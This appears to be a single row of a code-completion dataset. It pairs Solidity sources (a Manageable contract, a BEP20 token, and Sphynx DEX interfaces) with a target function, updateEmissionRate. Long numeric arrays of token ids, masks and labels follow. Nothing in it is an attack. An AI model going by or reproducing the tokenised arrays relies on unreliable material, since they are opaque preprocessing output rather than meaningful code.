pragma solidity >=0.4.0;
import '../GSN/Context.sol';
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an manager) that can be granted exclusive access to
* specific functions.
*
* By default, the manager account will be the one that deploys the contract. This
* can later be changed with {transferManagement}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyManager`, which can be applied to your functions to restrict their use to
* the manager.
*/
contract Manageable is Context {
address private _manager;
event ManagementTransferred(address indexed previousManager, address indexed newManager);
/**
* @dev Initializes the contract setting the deployer as the initial manager.
*/
constructor() internal {
address msgSender = _msgSender();
_manager = msgSender;
emit ManagementTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current manager.
*/
function manager() public view returns (address) {
return _manager;
}
/**
* @dev Throws if called by any account other than the manager.
*/
modifier onlyManager() {
require(_manager == _msgSender(), 'Manageable: caller is not the manager');
_;
}
/**
* @dev Leaves the contract without manager. It will not be possible to call
* `onlyManager` functions anymore. Can only be called by the current manager.
*
* NOTE: Renouncing management will leave the contract without an manager,
* thereby removing any functionality that is only available to the manager.
*/
function renounceManagement() public onlyManager {
emit ManagementTransferred(_manager, address(0));
_manager = address(0);
}
/**
* @dev Transfers management of the contract to a new account (`newManager`).
* Can only be called by the current manager.
*/
function transferManagement(address newManager) public onlyManager {
_transferManagement(newManager);
}
/**
* @dev Transfers management of the contract to a new account (`newManager`).
*/
function _transferManagement(address newManager) internal {
require(newManager != address(0), 'Manageable: new manager is the zero address');
emit ManagementTransferred(_manager, newManager);
_manager = newManager;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.0;
import '../../access/Ownable.sol';
import '../../GSN/Context.sol';
import './IBEP20.sol';
import '../../math/SafeMath.sol';
import '../../utils/Address.sol';
/**
* @dev Implementation of the {IBEP20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {BEP20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-BEP20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of BEP20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IBEP20-approve}.
*/
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() external override view returns (address) {
return owner();
}
/**
* @dev Returns the token name.
*/
function name() public override view returns (string memory) {
return _name;
}
/**
* @dev Returns the token decimals.
*/
function decimals() public override view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() public override view returns (string memory) {
return _symbol;
}
/**
* @dev See {BEP20-totalSupply}.
*/
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {BEP20-balanceOf}.
*/
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
/**
* @dev See {BEP20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {BEP20-allowance}.
*/
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {BEP20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {BEP20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {BEP20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance')
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero')
);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Destroys `amount` tokens from `msg.sender`, decreasing the total supply.
*
*/
function burn(uint256 amount) public returns (bool) {
_burn(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), 'BEP20: transfer from the zero address');
require(recipient != address(0), 'BEP20: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: mint to the zero address');
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), 'BEP20: approve from the zero address');
require(spender != address(0), 'BEP20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(
account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, 'BEP20: burn amount exceeds allowance')
);
}
}
pragma solidity >=0.5.0;
interface ISphynxPair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function swapFee() external view returns (uint32);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
function setSwapFee(uint32) external;
}
pragma solidity >=0.5.0;
interface ISphynxFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
function setSwapFee(address _pair, uint32 _swapFee) external;
}
pragma solidity >=0.6.2;
import './ISphynxRouter01.sol';
interface ISphynxRouter02 is ISphynxRouter01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
pragma solidity >=0.6.2;
interface ISphynxRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut, uint swapFee) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut, uint swapFee) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
|
Sphynx has to add hidden dummy pools inorder to alter the emission, here we make it simple and transparent to all.
|
function updateEmissionRate(uint256 _perBlock) public onlyOwner {
massUpdatePools();
sphynxPerBlock = _perBlock;
}
| 1,357,212 |
[
1,
4625,
348,
7953,
560,
30,
225,
348,
844,
878,
92,
711,
358,
527,
5949,
9609,
16000,
316,
1019,
358,
10182,
326,
801,
19710,
16,
2674,
732,
1221,
518,
4143,
471,
17270,
358,
777,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
202,
915,
1089,
1514,
19710,
4727,
12,
11890,
5034,
389,
457,
1768,
13,
1071,
1338,
5541,
288,
203,
202,
202,
10424,
1891,
16639,
5621,
203,
202,
202,
87,
844,
878,
92,
2173,
1768,
273,
389,
457,
1768,
31,
203,
202,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.